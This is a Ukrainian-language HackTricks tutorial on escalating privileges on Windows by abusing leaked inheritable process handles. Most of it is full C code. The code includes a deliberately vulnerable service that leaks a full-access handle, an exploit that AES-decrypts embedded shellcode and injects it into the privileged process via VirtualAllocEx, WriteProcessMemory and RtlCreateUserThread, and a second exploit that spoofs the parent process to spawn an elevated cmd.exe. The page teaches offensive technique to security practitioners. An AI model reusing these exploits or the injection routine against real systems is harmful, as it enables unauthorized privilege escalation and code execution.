32 KiB
Використання витікших дескрипторів
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію в рекламі на HackTricks або завантажити HackTricks у PDF Перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Дізнайтеся про Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Вступ
Дескриптори в процесі дозволяють отримати доступ до різних ресурсів Windows:
Вже було кілька випадків підвищення привілеїв, коли привілейований процес з відкритими та успадковуваними дескрипторами запускав непривілейований процес, надаючи йому доступ до всіх цих дескрипторів.
Наприклад, уявіть, що процес, який працює як SYSTEM, відкриває новий процес (OpenProcess()
) з повним доступом. Той самий процес також створює новий процес (CreateProcess()
), з низькими привілеями, але успадковуючи всі відкриті дескриптори головного процесу.
Тоді, якщо у вас є повний доступ до низькопривілейованого процесу, ви можете отримати відкритий дескриптор до привілейованого процесу, створеного за допомогою OpenProcess()
і впровадити shellcode.
Цікаві Дескриптори
Процес
Як ви читали у початковому прикладі, якщо непривілейований процес успадковує дескриптор процесу привілейованого процесу з достатніми дозволами, він зможе виконати довільний код на ньому.
У цій чудовій статті ви можете побачити, як експлуатувати будь-який дескриптор процесу, який має будь-які з наступних дозволів:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
Потік
Аналогічно до дескрипторів процесу, якщо непривілейований процес успадковує дескриптор потоку привілейованого процесу з достатніми дозволами, він зможе виконати довільний код на ньому.
У цій чудовій статті ви також можете побачити, як експлуатувати будь-який дескриптор процесу, який має будь-які з наступних дозволів:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
Дескриптори Файлів, Ключів та Розділів
Якщо непривілейований процес успадковує дескриптор з дозволами на запис до привілейованого файлу або реєстру, він зможе перезаписати файл/реєстр (і з великим щастям, підвищити привілеї).
Дескриптори Розділів схожі на дескриптори файлів, загальна назва цих об'єктів - "File Mapping". Вони використовуються для роботи з великими файлами без зберігання всього файлу в пам'яті. Це робить експлуатацію трохи "схожою" на експлуатацію дескриптора файлу.
Як переглянути дескриптори процесів
Process Hacker
Process Hacker - це безкоштовний інструмент, який можна завантажити. Він має кілька дивовижних опцій для інспекції процесів, одна з яких - можливість перегляду дескрипторів кожного процесу.
Зверніть увагу, що для перегляду всіх дескрипторів всіх процесів потрібен SeDebugPrivilege (тому вам потрібно запустити Process Hacker як адміністратор).
Щоб переглянути дескриптори процесу, клацніть правою кнопкою миші на процесі та виберіть Дескриптори:
Потім клацніть правою кнопкою миші на дескрипторі та перевірте дозволи:
Дескриптори Sysinternals
Дескриптори від Sysinternals також перераховуватимуть дескриптори на процес у консолі:
LeakedHandlesFinder
Цей інструмент дозволяє вам відстежувати витікші дескриптори та навіть автоматично експлуатувати їх для підвищення привілеїв.
Методологія
Тепер, коли ви знаєте, як знаходити дескриптори процесів, вам потрібно перевірити, чи непривілейований процес має доступ до привілейованих дескрипторів. У цьому випадку користувач процесу може мати можливість отримати дескриптор і використовувати його для підвищення привілеїв.
{% hint style="warning" %} Було зазначено, що для доступу до всіх дескрипторів потрібен SeDebugPrivilege. Але користувач все одно може отримати доступ до дескрипторів своїх процесів, тому може бути корисним, якщо ви хочете підвищити привілеї лише для цього користувача, виконати інструменти з звичайними дозволами користувача.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
Вразливий Приклад
Наприклад, наступний код належить службі Windows, яка була б вразливою. Вразливий код цього бінарного файлу служби розташований всередині функції Exploit
. Ця функція починає створювати новий обробник процесу з повним доступом. Потім вона створює процес з низькими привілеями (копіюючи токен з низькими привілеями explorer.exe), який виконує C:\users\username\desktop\client.exe. Вразливість полягає в тому, що вона створює процес з низькими привілеями з bInheritHandles
як TRUE
.
Отже, цей процес з низькими привілеями може отримати обробник високопривілейованого процесу, створеного спочатку, і впровадити та виконати шелл-код (див. наступний розділ).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Приклад Використання Уразливості 1
{% hint style="info" %} У реальному сценарії вам, ймовірно, не вдасться контролювати виконуваний бінарний файл, який буде запущений уразливим кодом (C:\users\username\desktop\client.exe у цьому випадку). Ймовірно, ви зламаєте процес і вам потрібно буде перевірити, чи можете ви отримати доступ до будь-якого уразливого дескриптора будь-якого привілейованого процесу. {% endhint %}
У цьому прикладі ви можете знайти код можливої експлойтації для C:\users\username\desktop\client.exe.
Найцікавіша частина цього коду розташована в GetVulnProcHandle
. Ця функція почне отримувати всі дескриптори, потім вона перевірить, чи який-небудь з них належить тому ж PID, і чи дескриптор належить процесу. Якщо всі ці вимоги виконані (знайдено доступний відкритий дескриптор процесу), вона спробує впровадити та виконати шелл-код, зловживаючи дескриптором процесу.
Впровадження шелл-коду виконується всередині функції Inject
і просто запише шелл-код всередину привілейованого процесу та створить потік всередині того ж процесу для виконання шелл-коду).
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("Мій PID: %d\n", GetCurrentProcessId());
getchar();
// знайти витік ручки до процесу
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Розшифрувати навантаження
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Відправлення подарунка...");
// Впровадити та запустити навантаження в привілейованому контексті
Inject(hProc, payload, payload_len);
printf("зроблено.\n");
}
getchar();
return 0;
}
Приклад Використання Уразливості 2
{% hint style="info" %} У реальному сценарії вам, ймовірно, не вдасться контролювати виконуваний бінарний файл, який буде запущений уразливим кодом (C:\users\username\desktop\client.exe у цьому випадку). Ймовірно, ви зламаєте процес і вам потрібно буде перевірити, чи можете ви отримати доступ до будь-якого уразливого дескриптора будь-якого привілейованого процесу. {% endhint %}
У цьому прикладі, замість зловживання відкритим дескриптором для впровадження та виконання шелл-коду, буде використано токен привілейованого відкритого процесу для створення нового. Це виконується в рядках від 138 до 148.
Зверніть увагу, як використовується функція UpdateProcThreadAttribute
з атрибутом PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
та дескриптором відкритого привілейованого процесу. Це означає, що створений процес потоку, що виконує _cmd.exe, матиме той самий токен привілеїв, що й процес з відкритим дескриптором.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
Інші інструменти та приклади
Цей інструмент дозволяє вам відстежувати витікання дескрипторів, щоб знайти вразливі та навіть автоматично експлуатувати їх. Також є інструмент для витікання одного дескриптора.
Інший інструмент для витікання дескриптора та його експлуатації.
Посилання
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у PDF-форматі, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.